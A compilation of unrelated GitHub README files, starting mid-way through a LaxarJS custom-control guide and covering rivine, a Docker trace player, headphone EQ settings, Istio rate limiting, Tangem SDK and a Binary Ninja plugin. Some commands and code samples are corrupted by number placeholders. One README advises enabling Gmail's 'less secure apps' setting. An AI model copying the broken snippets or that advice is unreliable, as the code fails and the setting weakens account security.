- an [accordion control](https://www.npmjs.com/package/laxar-accordion-control)

LaxarJS helps when developing a custom control by managing and loading its JavaScript implementation module, as well as its theme-dependent CSS stylesheet for you.
If (and only if) you _use_ a control in one or more widgets, LaxarJS will load its CSS according to the current [theme](./creating_themes.md), just like with widgets and layouts.
When you remove the control from your widget, or the widget from your page, its code and assets will no longer increase your application footprint.
This allows you to create and distribute large libraries of controls without fear of application bloat.

## Creating or Integrating a Control

The exact structure of a control depends on the integration technology that is used to create the control and to integrate it into the application.
Throughout this manual, we use the `"angular"` integration technology for our examples.
Note that controls can only be used by widgets that use the same integration technology.
The only exception is the built-in integration technology `"plain"`, which can be used by any widget, but may be difficult to use correctly from some widget integration technologies.
The [plain adapter documentation](plain_adapter.md) explains how these controls are used.

### Creating an `angular` Control using a Directive

LaxarJS does not care whether your control is installed through npm or Bower, or if it is located somewhere else within your project, as long as its `control.json` descriptor can be found by the laxar loader (for webpack).
Let us try to create a control _my-clock-control_ that displays a digital clock to the user.

#### Controls Directory

First, choose a location for your control within your application, such as `application/controls/my-clock`.
The path `application/controls/` is the _controls-root_, and can be overwritten by creating a `laxar.config.js` with `paths.controls` export.

#### The Control Descriptor

Just like widgets, controls have a small JSON descriptor _(control.json)_ which instructs the runtime on how to load the control, and where to look for styles.
Here is the descriptor for our clock control:

```json
{
   "name": "my-clock-control",
   "integration": {
      "technology": "angular"
   }
}
```

To ensure compatibility between each widget and its controls, both must use the same _integration technology_.
The technology `"plain"` is supported for controls out-of-the-box, and other technologies can be added through *adapters*, such as the [laxar-angular-adapter](laxarjs.org/docs/laxar-angular-adapter-v2-latest/).
The _name_ allows the LaxarJS runtime to load the correct implementation module and the right CSS styles.
So even if using a folder of a different name, or a control installed from npm, the runtime would still be able to load the control.

#### AngularJS Directive

Now let us create the AngularJS module for the control, in `application/controls/my-clock-control/my-clock-control.js`:

```JS
define( [ 'angular', 'text!./my-clock-control.html' ], function( ng, clockTemplate ) {
   'use strict';

   var module = ng.module( 'myClockControl', [] );

   module.filter( 'myClockDigits', function() {
      return function( number ) {
         return ( number < 10 ? '0' : '' ) + number;
      }
   } );

   return module.directive( 'myClock', [ '$timeout', function( $timeout ) {
      return {
         restrict: 'E',
         template: clockTemplate,
         link: function( $scope ) {
            tick();
            function tick() {
               $scope.date = new Date();
               $timeout( tick, 1000 );
            }
         }
      };

   } ] );

} );
```

We use a prefix _(my)_ for the control and for the filter- and directive-names to avoid collisions with other controls and directives, as well as future HTML elements.

#### AngularJS Template

Let us create a simple template at `application/controls/my-clock-control/my-clock-control.html`.

```HTML
<span class="my-clock">
   {{ date.getHours() | myClockDigits }}:{{ date.getMinutes() | myClockDigits }}:{{ date.getSeconds() | myClockDigits }}
</span>
```

It is recommended to use the control name as a prefix for any custom CSS classes as shown here, to avoid collision with other controls and libraries.

#### The CSS Style Sheet

To automatically load your CSS depending on the theme, it has to be placed into a sub-directory `default.theme/css` of your require path and its file name must correspond to the control descriptor.
In case of the clock control, the correct path would be `application/controls/my-clock-control/default.theme/my-clock-control.css`.

```CSS
.my-clock {
   font-family: 'Times New Roman', serif;
   font-weight: bold;
   font-size: 36px;
   border: 3px double black;
   padding: 3px;
}
```

Not that for controls, _theme folders_ are only used for stylesheets, not for templates.

### Using a Control from a Widget

Any widget that uses our clock should declare its dependency using `controls` entry in its `widget.json`:

```JS
"controls": [ "my-clock-control" ],
```

This allows the runtime to load control module and to register the AngularJS module during bootstrapping.
Additionally this causes the control CSS to be loaded from the correct theme, and to be bundled when creating a release-version of your application.

To actually get the control onto the screen, you have to reference it from your widget's HTML template:

```HTML
<h3>My Widget, now with 100% more 24h-clock!</h3>
<my-clock></my-clock>
```

After adding your widget to a page, you may inspect your timepiece in the browser:

![my-clock-control in action](providing_controls/my_clock.png)

## Creating or Integrating a Library

Adding custom libraries is even simpler than adding controls, because usually they do not need to load theme-specific CSS or to have their AngularJS modules managed by the [laxar-angular-adapter](http://laxarjs.org/docs/laxar-angular-adapter-v2-latest/) -- if they do, try turning them into controls or activities respectively.
Just put the library somewhere within your project (preferably using npm) and make sure that it can be resolved and loaded by webpack.

repository: LaxarJS/laxar

repo_name: LaxarJS/laxar


text:
# Offline transaction example

This directory contains a code sample about creating and sending a transaction to a remote `rivine` node, which then processes it and broadcasts it on the network.

In order to run the example, first create a  [Local testnet using docker](../localnetwork/README.md). This will set up a small docker test network to test against. At the end of the script, some usefull info will be printed, e.g.:

```bash
Gateway addr:
http://<IP_ADDRESS>:23110
Possible address to send coins: e5bd83a85e263817e2040054064575066874ee45a7697facca7a2721d4792af374ea35f549a1
```

The example can the by run with:
```bash
go run offline_transaction.go http://<IP_ADDRESS>:23110<PHONE_NUMBER>00000000000000000 e5bd83a85e263817e2040054064575066874ee45a7697facca7a2721d4792af374ea35f549a1
```

Where the first argument is the address of the gateway, the second is the amount of Hastings to transfer, and the third is the address of the recipient. The inputs are selected automatically. By default, we use the seed associated with the address to which the genesis block sends the initial coins. This can be changed if desired, but by doing it like this the example can be run without requiring manual intervention or more complex setup. From this seed, 50 addresses are derived, which are then checked for unspent coin outputs on them. When the transaction is created, inputs are randomly added until sufficient funds are present. A fixed miner fee of 10 hastings is also created. Any leftover funds are transfered back to the seed by taking a random address from the ones generated earlier.

repository: GlenDC/rivine

repo_name: GlenDC/rivine


text:
# How to run?
* first, setup config yaml file. Note that, we combine all traces into one big trace file `total_trace_registryname.json` and add `total_trace_registryname.json` to config file field: `traces: `. for location, we use `/home/nannan/dockerimages/docker-traces/data_centers/`. Remeber to cp the big trace file in the above location.
* second, `match` the trace files' requests to our realblob dataset. So that each request will send a realblob or get a realblob to or from registry. In the end, `match` will generate `total_trace_registryname.json-realblob.json`, which is the trace file we are going to replay next and our code will automatically pickup this file.
* third, `warmup` the registry before issues requests. so that all the get requests will pull realblobs from registry. the output file from warmup is a dictionary <request'uri to a blob digest> called `interm.json`
* fourth, `run`

# config files:
* warmup threads = N*len(registries)

# Docker Registry Trace Player

The Docker registry trace player is used to replay anonimized production level traces for a registry, available in the traces directory.
The traces are from the IBM docker registry, separated by availability zones.
The trace player can send traces to an actual registry or be used to simulate different caching or prefetching. The registry must be confiugred as a test registry in the current version, however.

The traces are available at http://research.cs.vt.edu/dssl/drtp-head.html. The size of the traces is 22 GB when unzipped.

The trace player has two applications: the master and the client. The master is reponsible for reading a trace, generating layers, and distributing the layer requests amoung client applications to forward to a registry. The client application is only needed for the run mode.

The trace player has 3 modes:

* warmup
* run
* simulate

The warmup mode connects to a registry and pushes all the layers in the traces specified by the configuration file. Layers are generated as a string of 0's equal to the size of the request reported in the trace. Because the traces are anonimized, manifests are are treated as layers for the warmup and run modes. During warmup, layers will be pushed to the first registry in the configuration file.

The Run mode replays the anonymized traces to the registry or registries specified in the configuration file. One or more clients need to be up before the master node is started.

The simulate mode takes a python file from the configuration file and attempts to call an init function from it. If arguments are specified in the configuration file, then init will be called with two arguments: a sorted list of the requests, and a dictionary of the arguments. If arguments are not specified, then init will be called with just the list of requests.

# Usage

To Run the master:

python master.py -c <command> -i <config.yaml>

Possible commands: warmup, run, and simulate

To run client:

python client.py -i <IP_ADDRESS> -p <port number>

## Configuration file Options

The configuration should be a yaml file, refer to config-example.yaml as an example. The following are all the supported options for the configuration file. Options not needed for a given mode will be ignored.

### Options:

#### Cient_info

* required for run mode

client_info options:

* client_list: list of hostname:port for all client nodes. Required option
* port: int, the master port the clients will connect to to forward their results.
* threads: int, Specifies how many processes a single client should spawn to forward
  requests. The number of possible concurrent connections is limited by the number of
  threads per client times the number of clients
* wait: boolean, if true, the client threads will wait the relative time between requests
  as recorded in the traces. If false or absent, the clients will send requests as fast as
  possible.
* route: optional boolean which instructs the master to route requests to clients based on
  the remote address of the traces rather than round robin routing.

#### verbose
* Optional Booblean, if true prints more information to standard out

#### trace
* Required for all modes

trace options:

* location, optional path to the anonymized traces, current directory assumed if
  absent. Absolute path should be used.
* traces, mandatory list of trace files to be read as input
* limit, optional structure to specify how to limit the number of requests
  * type: string that can be either "seconds" or "requests"
  * amount: specifies the limit of the specified type. For example, if type is seconds and
    amount is 100, only the first 100 seconds of requests will be used
* output: optional filename of where to store output trace of run mode. Default is output.json

### registry

* list of registries to send requests to in warmup and run mode. Only first entry is used
  in warmup mode, however

### warmup

* required for run and warmup modes

Options:

* output: required filename, is populated by warmup and needed by run for mapping the trace uri to a blob
* threads: optional int, specifies how many threads should be used to send requests to registry in warmup mode
* random: optional boolean, instructs the master to create random files for layers rather than creating files of 0's

### simulate

* Required for simulate mode

Options:

* name: required string, should be the name of the python file containing the simulation. File should contain an init(requests) or init(requests, args) function to start the simulation
* args: optional dictionary that can contain any arguments the simulation needs

### Example

client_info:

    client_list:
        - localhost:8081
        - localhost:8082
    port: 8080
    threads: 100
    wait: true

verbose: true

trace:

    location: /data/data_centers/dal09
    traces:
        - prod-dal09-logstash-2017.08.01-0.json
    limit:
        type: requests
        amount: 20

    output: results.json

registry:

    - localhost:5000

warmup:

    output: interm.json

    threads: 100

simulate:

    name: cache.py
    args:
        cache_size: 8

# Instalation

sudo apt-get install python-pip

sudo pip install python-dxf

sudo pip install requests

sudo pip install bottle

sudo pip install pyyaml

sudo pip install hash_ring

# Data format for simulation
* sorted by delay (timestamp of request)

[

    {
        'delay': timestamp (int),
        'uri': 'v2/user/repo/<blobs or manifests>/layer',
        'size', size (int),
        'method': <'GET' or 'PUT'>,
        'duration': duration (int),
        'client': remote address (string)
    },
]

# Support Channel

Michael Littley<EMAIL_ADDRESS>Ali Anwar<EMAIL_ADDRESS>
Support is also available through the github repository

repository: nnzhaocs/docker-performance

repo_name: nnzhaocs/docker-performance


text:
# Fostex T60RP
See [usage instructions](https://github.com/jaakkopasanen/AutoEq#usage) for more options and info.

### Parametric EQs
In case of using parametric equalizer, apply preamp of **-7.5dB** and build filters manually
with these parameters. The first 5 filters can be used independently.
When using independent subset of filters, apply preamp of **-7.4dB**.

| Type    | Fc       |    Q | Gain    |
|:--------|:---------|:-----|:--------|
| Peaking | 24 Hz    | 1.95 | 6.7 dB  |
| Peaking | 1305 Hz  | 1.97 | -6.3 dB |
| Peaking | 3052 Hz  | 1.21 | 7.8 dB  |
| Peaking | 7260 Hz  | 1.75 | -7.6 dB |
| Peaking | 19335 Hz | 0.97 | -4.8 dB |
| Peaking | 36 Hz    | 2.04 | 1.7 dB  |
| Peaking | 68 Hz    | 0.47 | -1.3 dB |
| Peaking | 369 Hz   | 3.06 | 2.2 dB  |
| Peaking | 4034 Hz  | 8.12 | 2.8 dB  |
| Peaking | 4841 Hz  | 7.2  | -3.2 dB |

### Fixed Band EQs
In case of using fixed band (also called graphic) equalizer, apply preamp of **-5.5dB**
(if available) and set gains manually with these parameters.

| Type    | Fc       |    Q | Gain    |
|:--------|:---------|:-----|:--------|
| Peaking | 31 Hz    | 1.41 | 5.4 dB  |
| Peaking | 62 Hz    | 1.41 | -2.1 dB |
| Peaking | 125 Hz   | 1.41 | -0.5 dB |
| Peaking | 250 Hz   | 1.41 | -0.1 dB |
| Peaking | 500 Hz   | 1.41 | 2.1 dB  |
| Peaking | 1000 Hz  | 1.41 | -4.9 dB |
| Peaking | 2000 Hz  | 1.41 | 2.0 dB  |
| Peaking | 4000 Hz  | 1.41 | 5.9 dB  |
| Peaking | 8000 Hz  | 1.41 | -7.2 dB |
| Peaking | 16000 Hz | 1.41 | -0.7 dB |

### Graphs
![](https://raw.githubusercontent.com/jaakkopasanen/AutoEq/master/results/oratory1990/harman_over-ear_2018/Fostex%20T60RP/Fostex%20T60RP.png)


text:
# Global Ratelimit Example

## Prerequisite
#### Ratelimit Service
Global Rate Limit in Envoy uses a gRPC API for requesting quota from a rate limiting service. Istio Ratelimit Operator can help you create rate limiting service with `RateLimitService` object. It's deploying [Envoy ratelimit service](https://github.com/envoyproxy/ratelimit). You only need to provide Redis information:

```
---
apiVersion: ratelimit.zufardhiyaulhaq.com/v1alpha1
kind: RateLimitService
metadata:
  name: public-gateway-ratelimit-service
  namespace: istio-system
spec:
  kubernetes:
    replica_count: 2
    auto_scaling:
      max_replicas: 3
      min_replicas: 2
    resources:
      limits:
        cpu: "256m"
        memory: "256Mi"
      requests:
        cpu: "128m"
        memory: "128Mi"
  backend:
    redis:
      type: "single"
      url: "<IP_ADDRESS>:6379"
---
apiVersion: ratelimit.zufardhiyaulhaq.com/v1alpha1
kind: RateLimitService
metadata:
  name: echo-redis-ratelimit-service
  namespace: default
spec:
  kubernetes:
    replica_count: 2
    auto_scaling:
      max_replicas: 3
      min_replicas: 2
    resources:
      limits:
        cpu: "256m"
        memory: "256Mi"
      requests:
        cpu: "128m"
        memory: "128Mi"
  backend:
    redis:
      type: "single"
      url: "<IP_ADDRESS>:6379"
```

It's support single, sentinel, or clustered Redis. `spec.backend.redis.url` is very depends on `spec.backend.redis.type`. You can check official [Envoy ratelimit service](https://github.com/envoyproxy/ratelimit#redis-type) service for Sentinel and Clustered Redis.

## Gateway
To setup rate limit in Gateway, the first thing you need to do is to make sure the gateway is aware of external rate limit service, you can create `GlobalRateLimitConfig` object to enable that:

```
apiVersion: ratelimit.zufardhiyaulhaq.com/v1alpha1
kind: GlobalRateLimitConfig
metadata:
  name: istio-public-gateway
  namespace: istio-system
spec:
  type: "gateway"
  selector:
    labels:
      "app": "istio-public-gateway"
    istio_version:
      - "1.8"
      - "1.9"
      - "1.10"
  ratelimit:
    spec:
      domain: "public-gateway"
      failure_mode_deny: false
      timeout: "10s"
      service:
        type: "service"
        name: "public-gateway-ratelimit-service"
```

External rate limit service is defined in the `spec.ratelimit.spec.service`. If you using `RateLimitService` object, you can use `type: service` and name to the `RateLimitService` object name.

If you deploy rate limit service by yourself, you can use this configuration instead:
```
  ratelimit:
    spec:
      service:
        type: "fqdn"
        address: "ratelimit.infrastructure.cluster.svc.local"
        port: 8081
```

The next step is to define the rate limit configuration using `GlobalRateLimit` object, for example:

```
apiVersion: ratelimit.zufardhiyaulhaq.com/v1alpha1
kind: GlobalRateLimit
metadata:
  name: helloworld-zufardhiyaulhaq-com-foo-route
  namespace: istio-system
spec:
  config: "istio-public-gateway"
  selector:
    vhost: "helloworld.zufardhiyaulhaq.com:443"
    route: "foo-route"
  matcher:
  - request_headers:
      header_name: ":method"
      descriptor_key: "method"
  - request_headers:
      header_name: ":path"
      descriptor_key: "path"
  - generic_key:
      descriptor_value: "foo-route"
      descriptor_key: "route"
  limit:
    unit: hour
    requests_per_unit: 60
  shadow_mode: false
---
apiVersion: ratelimit.zufardhiyaulhaq.com/v1alpha1
kind: GlobalRateLimit
metadata:
  name: helloworld-zufardhiyaulhaq-com-bar-route
  namespace: istio-system
spec:
  config: "istio-public-gateway"
  selector:
    vhost: "helloworld.zufardhiyaulhaq.com:443"
    route: "bar-route"
  matcher:
  - request_headers:
      header_name: ":method"
      descriptor_key: "method"
  - request_headers:
      header_name: ":path"
      descriptor_key: "path"
  - generic_key:
      descriptor_value: "bar-route"
      descriptor_key: "route"
  limit:
    unit: hour
    requests_per_unit: 120
  shadow_mode: false
```

You must define the `GlobalRateLimitConfig` in the `spec.config`. Also you must define the selector, which is contain two things:
- **vhost**: combination of domain and port from Gateway object
- **route**: route name you define in VirtualService object

Istio Ratelimit Operator will generate two Envoyfilter and descriptors configuration based on [Envoy ratelimit service](https://github.com/envoyproxy/ratelimit). Descriptor example:
```
domain: public-gateway
descriptors:
- key: method
  descriptors:
  - key: path
    descriptors:
    - key: route
      value: foo-route
      rate_limit:
        unit: hour
        requests_per_unit: 60
    - key: route
      value: bar-route
      rate_limit:
        unit: hour
        requests_per_unit: 120
```

## Sidecar
To setup rate limit in Sidecar, it's kinda similar with Gateway. First, create GlobalRateLimitConfig

```
apiVersion: ratelimit.zufardhiyaulhaq.com/v1alpha1
kind: GlobalRateLimitConfig
metadata:
  name: echo-redis
  namespace: default
spec:
  type: "sidecar"
  selector:
    labels:
      "app": "echo-redis"
    istio_version:
      - "1.8"
      - "1.9"
      - "1.10"
  ratelimit:
    spec:
      domain: "echo-redis"
      failure_mode_deny: false
      timeout: "10s"
      service:
        type: "service"
        name: "echo-redis-ratelimit-service"
```

Please make sure `.spec.type` is sidecar and `.spec.selector.sni` is not supported in sidecar. The next step is to define the rate limit configuration using `GlobalRateLimit` object, for example:

```
apiVersion: ratelimit.zufardhiyaulhaq.com/v1alpha1
kind: GlobalRateLimit
metadata:
  name: echo-redis-http-8080
  namespace: default
spec:
  config: "echo-redis"
  selector:
    vhost: "inbound|http|8080"
  matcher:
  - request_headers:
      header_name: ":method"
      descriptor_key: "method"
  - request_headers:
      header_name: ":path"
      descriptor_key: "path"
  - generic_key:
      descriptor_value: "echo-redis"
      descriptor_key: "app"
  - generic_key:
      descriptor_value: "8080"
      descriptor_key: "port"
  limit:
    unit: hour
    requests_per_unit: 60
  shadow_mode: false
```

We only support vhost selector in sidecar, with combination of `inbound|<port-name>|<port-number>`.

gha_language: Go


text:
# tangem-sdk-react-native

The Tangem card is a self-custodial hardware wallet for blockchain assets. The main functions of Tangem cards are to securely create and store a private key from a blockchain wallet and sign blockchain transactions. The Tangem card does not allow users to import/export, backup/restore private keys, thereby guaranteeing that the wallet is unique and unclonable.

- [Getting Started](#getting-started)
  - [Requirements](#requirements)
  - [Installation](#installation)
  - [iOS Notes](#ios-notes)
  - [Android Notes](#android-notes)
- [Usage](#usage)
  - [Scan card](#scan-card)
  - [Sign](#sign)
    - [Wallet](#wallet)
      - [Create Wallet](#create-wallet)
      - [Purge Wallet](#purge-wallet)
    - [PIN codes](#pin-codes)
    - [NFC Status](#nfc-status)
- [Troubleshooting](#troubleshooting)

## Getting Started

### Requirements

#### iOS

iOS 11+ (CoreNFC is required), Xcode 11+
SDK can be imported to iOS 11, but it will work only since iOS 13.

#### Android

Android with minimal SDK version of 21 and a device with NFC support

## Installation

```sh
npm install tangem-sdk-react-native
```

#### Android Notes

Add the following intent filters and metadata tag to your app `AndroidManifest.xml`

```xml
<intent-filter>
    <action android:name="android.nfc.action.NDEF_DISCOVERED"/>
    <category android:name="android.intent.category.DEFAULT"/>
</intent-filter>

<intent-filter>
    <action android:name="android.nfc.action.TECH_DISCOVERED"/>
</intent-filter>

<meta-data android:name="android.nfc.action.TECH_DISCOVERED" android:resource="@xml/nfc_tech_filter" />
```

Create the file `android/src/main/res/xml/nfc_tech_filter.xml` and add the following content:

```xml
<resources>
   <tech-list>
       <tech>android.nfc.tech.IsoDep</tech>
       <tech>android.nfc.tech.Ndef</tech>
       <tech>android.nfc.tech.NfcV</tech>
   </tech-list>
</resources>
```

<details>
  <summary>Example AndroidManifest.xml</summary>

```xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.reactnativenfcdemo"
         android:versionCode="1"
         android:versionName="1.0">

   <uses-permission android:name="android.permission.INTERNET" />
   <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
   <uses-permission android:name="android.permission.NFC" />

   <uses-sdk
           android:minSdkVersion="16"
           android:targetSdkVersion="22" />

   <application
           android:name=".MainApplication"
           android:allowBackup="true"
           android:label="@string/app_name"
           android:icon="@mipmap/ic_launcher"
           android:theme="@style/AppTheme">
       <activity
               android:name=".MainActivity"
               android:screenOrientation="portrait"
               android:label="@string/app_name"
               android:launchMode="singleTask"
               android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
               android:windowSoftInputMode="adjustResize">

           <intent-filter>
               <action android:name="android.intent.action.MAIN" />
               <category android:name="android.intent.category.LAUNCHER" />
           </intent-filter>

           <intent-filter>
               <action android:name="android.nfc.action.NDEF_DISCOVERED"/>
               <category android:name="android.intent.category.DEFAULT"/>
           </intent-filter>

           <intent-filter>
               <action android:name="android.nfc.action.TECH_DISCOVERED"/>
           </intent-filter>

           <meta-data android:name="android.nfc.action.TECH_DISCOVERED" android:resource="@xml/nfc_tech_filter" />

       </activity>
       <activity android:name="com.facebook.react.devsupport.DevSettingsActivity" />
   </application>

</manifest>

```
</details>

#### iOS Notes

1) Add Swift Header Search Path to your app by following this steps:

* Open ios/YourAppName.xcodeproj in Xcode
* Right-click on Your App Name in the Project Navigator on the left, and click New File…
* Create a single empty Swift file to the project (make sure that Your App Name target is selected when adding)
* When Xcode asks, press Create Bridging Header and do not remove Swift file then.

2) As React Native trying to link against an older Swift runtime while targeting a newer version of the OS. We need to remove swift linking from our project to be able to compile the SDK. apply below changes on your IOS project file (```project.pbxproj```)

```diff
LIBRARY_SEARCH_PATHS = (
   "\"$(TOOLCHAIN_DIR)/usr/lib/swift/$(PLATFORM_NAME)\"",
-  "\"$(TOOLCHAIN_DIR)/usr/lib/swift-5.0/$(PLATFORM_NAME)\"",
   "\"$(inherited)\"",
 );
```

3) Configure your app to detect NFC tags. Turn on Near Field Communication Tag Reading under the Capabilities tab for the project’s target (see [Add a capability to a target](https://help.apple.com/xcode/mac/current/#/dev88ff319e7)).

4) Add the [NFCReaderUsageDescription](https://developer.apple.com/documentation/bundleresources/information_property_list/nfcreaderusagedescription) key as a string item to the Info.plist file. For the value, enter a string that describes the reason the app needs access to the device’s NFC reader:

```xml
<key>NFCReaderUsageDescription</key>
<string>Some reason</string>
```

5) In the Info.plist file, add the list of the application identifiers supported in your app to the [ISO7816 Select Identifiers](https://developer.apple.com/documentation/bundleresources/information_property_list/select-identifiers) (AIDs) information property list key. The AIDs of Tangem cards are: `A000000812010208` and `D2760000850101`.

```xml
<key>com.apple.developer.nfc.readersession.iso7816.select-identifiers</key>
<array>
    <string>A000000812010208</string>
    <string>D2760000850101</string>
</array>
```

6) To prevent customers from installing apps on a device that does not support the NFC capability, add the following to the Info.plist code (Optional):

```xml
<key>UIRequiredDeviceCapabilities</key>
<array>
    <string>nfc</string>
</array>
```

## Usage

Tangem SDK is a self-sufficient solution that implements a card abstraction model, methods of interaction with the card and interactions with the user via UI.

The easiest way to use the SDK is to call basic methods. The basic method performs one or more operations and, after that, calls completion block with success or error.

When calling basic methods, there is no need to show the error to the user, since it will be displayed on the NFC popup before it's hidden.

#### Start/Stop Session [Android]

Method `RNTangemSdk.startSession()` is needed before running any other method in android, calling this method will ask the user to enable the NFC in case of NFC disabled.

```js
RNTangemSdk.startSession();
```
> It's recommended to check for NFC status before running any other method and call this method again in case of disabled NFC

Method `RNTangemSdk.stopSession()` will stop NFC Manager and it's recommended to be called to stop the session.

```js
RNTangemSdk.stopSession();
```

#### Scan card

Method `RNTangemSdk.scanCard()` is needed to obtain information from the Tangem card. Optionally, if the card contains a wallet (private and public key pair), it proves that the wallet owns a private key that corresponds to a public one.

```js
RNTangemSdk.scanCard();
```

#### Sign

Method `RNTangemSdk.sign()` allows you to sign one or multiple hashes. The SIGN command will return a corresponding array of signatures.

```js
const cid = "bb03000000000004";

RNTangemSdk.sign(cid, [
  "44617461207573656420666f722068617368696e67",
  "4461746120666f7220757365642068617368696e67",
]);
```

#### Wallet

##### Create Wallet

Method `RNTangemSdk.createWallet()` will create a new wallet on the card. A key pair `WalletPublicKey` / `WalletPrivateKey` is generated and securely stored in the card.

```js
var cid = "bb03000000000004";
RNTangemSdk.createWallet(cid);
```

##### Purge Wallet

Method `RNTangemSdk.purgeWallet()` deletes all wallet data.

```js
var cid = "bb03000000000004";
RNTangemSdk.purgeWallet(cid);
```

#### Pin codes

_Access code (PIN1)_ restricts access to the whole card. App must submit the correct value of Access code in each command.
_Passcode (PIN2)_ is required to sign a transaction or to perform some other commands entailing a change of the card state.

```js
var cid = "bb03000000000004";
var pin = "123456";

//TangemSdk.changePin1(cid);
RNTangemSdk.changePin2(cid, pin);
```

> Passing empty string as PIN will trigger SDK dialog for entering the PIN code by user

#### NFC Status

##### Get status

Method `RNTangemSdk.getNFCStatus()` will return current NFC Status which is supported on the device or is NFC enabled on the device.

```js
RNTangemSdk.getNFCStatus();
```

##### Listen on events

with `RNTangemSdk.on()` and `RNTangemSdk.removeListener()` you should be able to add/remove listener on the certain events

Supported Events: `NFCStateChange`

```js
RNTangemSdk.on("NFCStateChange", (enabled) => {
  console.log(enabled);
});
```

## Troubleshooting

#### Errors when sending HTTP/S requests throght `fetch` function

##### Error message

```sh
No static method delimiterOffset(Ljava/lang/String;IILjava/lang/String;)I in class Lokhttp3/internal/Util; or its super classes (declaration of 'okhttp3.internal.Util' appears in base.apk!classes3.dex)
```

##### Solution

Include this dependencies in `android/app/build.gradle` file in `dependencies` section

```java
implementation "com.squareup.okhttp3:okhttp:4.2.1"
implementation "com.squareup.okhttp3:logging-interceptor:4.2.1"
implementation "com.squareup.okhttp3:okhttp-urlconnection:4.2.1"
```


text:
# Go Omaha

[![Build Status](https://travis-ci.org/coreos/go-omaha.svg?branch=master)](https://travis-ci.org/coreos/go-omaha)
[![GoDoc](https://godoc.org/github.com/coreos/go-omaha/omaha?status.svg)](https://godoc.org/github.com/coreos/go-omaha/omaha)

Implementation of the [omaha update protocol](https://github.com/google/omaha) in Go.

## Status

This code is targeted for use with CoreOS's [CoreUpdate](https://coreos.com/products/coreupdate/) product and the Container Linux [update_engine](https://github.com/coreos/update_engine).
As a result this is not a complete implementation of the [protocol](https://github.com/google/omaha/blob/master/doc/ServerProtocolV3.md) and inherits a number of quirks from update_engine.
These differences include:

 - No offline activity tracking.
   The protocol's ping mechanism allows for tracking application usage, reporting the number of days since the last ping and how many of those days saw active usage.
   CoreUpdate does not use this, instead assuming update clients are always online and checking in once every ~45-50 minutes.
   Clients not actively updating should send only a ping, indicating CoreUpdate's "Instance-Hold" state.
   Clients requesting an update should send a ping, update check, and an UpdateComplete:SuccessReboot event indicating CoreUpdate's "Complete" state.

 - Various protocol extensions/abuses.
   update_engine, likely due to earlier limitations of the protocol and Google's server implementation, uses a number of non-standard fields.
   For example, packing a lot of extra attributes such as the package's SHA-256 hash into a "postinstall" action.
   As much as possible the code includes comments about these extensions.

 - Many data fields not used by CoreUpdate are omitted.

repository: hilalisa/go-omaha

repo_name: hilalisa/go-omaha


text:
# taylonghuyenphihcm
Landing Page For Cosmetics Advertisement

- Please change ***"your-email"*** to the email that had access and turn on [Allow less secure app](https://myaccount.google.com/u/3/lesssecureapps) and [Display Unlock Captcha](https://accounts.google.com/b/0/DisplayUnlockCaptcha) in order to send email to customers.


text:
# Binary Ninja Division and Modulo Deoptimizer

This plugin uses z3 and a binary search to deoptimize divisions and modulos in binary ninja. It operates on MLIL, so it should be architecture agnostic. Because z3 is used and instructions are followed, the deoptimization is also pattern agnostic, so different compiler optimizations should still work.

It works by following the operands of a SSA MLIL instruction. After following the operands, the z3 value representing the final MLIL variable will be a function of an unconstrained input variable. We can use a binary search with different arguments to that function to determine what the actual divisor is.

Notes about speed: This is slow. It takes about a second per MLIL instruction tested, so large functions will not be analyzed quickly. There are a couple easy speed improvements that can be made, and some more complex ones. Testing every other MLIL line should still catch most if not all divisions/modulos, only running the division pass or modulo pass, not analyzing instructions that are too far away from relevant arethmetic, and reusing analysis effort on nearby lines are some potential future speed improvements.

# Usage

The plugin registers two commands - "Deoptimize Operations - Function" and "Deoptimize Operations - Line".

![](images/before_running.png)

For "Deoptimize Operations - Line", open the context menu on the line in which the result of the division is stored in a register or IL variable. Then run the analysis, and if a division is found, a comment will be added.

![](images/after_running.png)

To analyze every line in the current function, run "Deoptimize Operation - Function".

![](images/deoptimize_function.png)

# Installation

Clone or symlink this repository into your plugin folder. (https://docs.binary.ninja/guide/plugins.html#using-plugins)

In addition, ensure that `z3-solver` is installed in your python environment.

# Known Failures

These failures are caused by the incomplete impletation of the MLIL.

 - 64 bit dividing or performing modulos by very large numbers.
 - 32 bit, when large enough numbers are used that `__divdi3` and similar methods are called.
```c
    int b;
    unsigned long e;
    scanf("%d", &b);
    printf("b /<PHONE_NUMBER>53 = %d", x /<PHONE_NUMBER>53); // Doesn't work
    scanf("%ld", &e);
    printf("UNSIGNED LONG b /<PHONE_NUMBER>53 = %ld", x /<PHONE_NUMBER>53); // Also doesn't work
    scanf("%d", &b);
    printf("b %<PHONE_NUMBER>53 = %d", x %<PHONE_NUMBER>53); // Still doesn't work
    scanf("%ld", &e);
    printf("UNSIGNED LONG b %<PHONE_NUMBER>53 = %ld", x %<PHONE_NUMBER>53); // Still doesn't work
```

 - 64 bit, divide or modulo by 32, and possibly other powers of 2. There's an issue with variable sizes so that a division of a 4-byte int results in<PHONE_NUMBER>559808544, which is technically correct... `c_int(9223372032559808544).value == 32`. Modulo doesn't have any result.


text:
# A Witness Building Algorithm  #

[![Build Status](https://travis-ci.org/sylvarant/moduleml-witness-algorithm.svg?branch=master)](https://travis-ci.org/sylvarant/moduleml-witness-algorithm) [![Coverage Status](https://coveralls.io/repos/sylvarant/moduleml-witness-algorithm/badge.svg?branch=master&service=github)](https://coveralls.io/github/sylvarant/moduleml-witness-algorithm?branch=master)

### What is this repository for? ###

Ocaml implementation of the module distinction algorithm mentioned in the
APLAS 2015 paper:`A Secure Compiler for ML Modules`.
The algorithm takes in 2 MiniML source files and 2 .traces files that are produced by these files.
The implementation of the algorithm reuses the parser, type checker and static modules compiler of the secure compiler.

### Setup ###
Set up the environment:
```bash
make setup
```
Compile the algorithm:
```bash
make now
```
Compile and run the tests:
```bash
make test
```

### Repository Structure ###
* src/ : algorithm source code
* tests/ : a series of differing MiniML programs that the algorithm can build a witness for
* witness/ : the produced witnesses are placed here

## License

[Artistic License 2.0](http://www.perlfoundation.org/artistic_license_2_0)

repository: sylvarant/moduleml-witness-algorithm

repo_name: sylvarant/moduleml-witness-algorithm


text:
# expand-hex-code

[![Build Status](https://travis-ci.org/nielse63/expand-hex-code.svg?branch=master)](https://travis-ci.org/nielse63/expand-hex-code)
[![Coverage Status](https://coveralls.io/repos/github/nielse63/expand-hex-code/badge.svg?branch=master)](https://coveralls.io/github/nielse63/expand-hex-code?branch=master)
